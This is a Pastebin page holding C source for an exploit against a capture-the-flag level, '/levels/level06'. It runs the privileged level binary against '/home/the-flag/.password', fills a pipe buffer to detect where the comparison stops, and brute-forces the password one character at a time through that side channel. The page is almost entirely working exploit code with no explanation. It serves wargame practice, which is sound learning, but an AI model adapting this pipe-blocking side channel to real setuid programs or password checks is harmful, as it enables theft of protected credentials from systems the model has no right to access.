Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <signal.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <strings.h>
- #include <unistd.h>
- #include <sys/select.h>
- #include <fcntl.h>
- int guess(char* guess, int full) {
- int err[2], out[2];
- pipe(err);
- pipe2(out, O_NONBLOCK);
- int child = fork();
- if (!child) {
- close(out[0]);
- close(err[0]);
- dup2(out[1], 1);
- dup2(err[1], 2);
- if (!full) {
- int length = strlen(guess);
- char buffer[65536];
- memset(buffer, (int) 0, 65536);
- write(err[1], buffer, 65536 - 33 - length);
- char padded_guess[1024];
- strcpy(padded_guess, guess);
- padded_guess[length] = '?';
- padded_guess[length + 1] = 0;
- guess = padded_guess;
- }
- execl("/levels/level06", "./level06", "/home/the-flag/.password", guess, NULL);
- exit(1);
- } else {
- if (!full) {
- fd_set my_fd_set;
- struct timeval timeout;
- char buffer[256];
- FD_ZERO(&my_fd_set);
- FD_SET(err[1], &my_fd_set);
- timeout.tv_sec = 0;
- timeout.tv_usec = 0;
- for (;;) {
- int result = select(err[1] + 1, NULL, &my_fd_set, NULL, &timeout);
- if (result == 0) {
- break;
- }
- usleep(100);
- }
- }
- // heuristic of how long to wait for echo to have been called
- // 3 times to be extra safe
- system("nice -n 20 /bin/echo test > /dev/null");
- system("nice -n 20 /bin/echo test > /dev/null");
- system("nice -n 20 /bin/echo test > /dev/null");
- int r = read(out[0], buffer, 1);
- close(out[0]);
- close(out[1]);
- close(err[0]);
- close(err[1]);
- kill(child, 9);
- wait(NULL);
- return r == -1;
- }
- }
- int main(int argc, char **argv)
- {
- char password[1024];
- bzero(password, 1024);
- char* valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- int valid_length = strlen(valid_chars);
- for (int i = 0; i < 1000; i++) {
- for (int j = 0; j < valid_length; j++) {
- password[i] = valid_chars[j];
- printf("%c", valid_chars[j]);
- fflush(stdout);
- if (guess(password, 0)) {
- if (guess(password, 1)) {
- printf("\n");
- exit(0);
- }
- break;
- }
- printf("%c", 8);
- }
- }
- printf("\n");
- exit(1);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement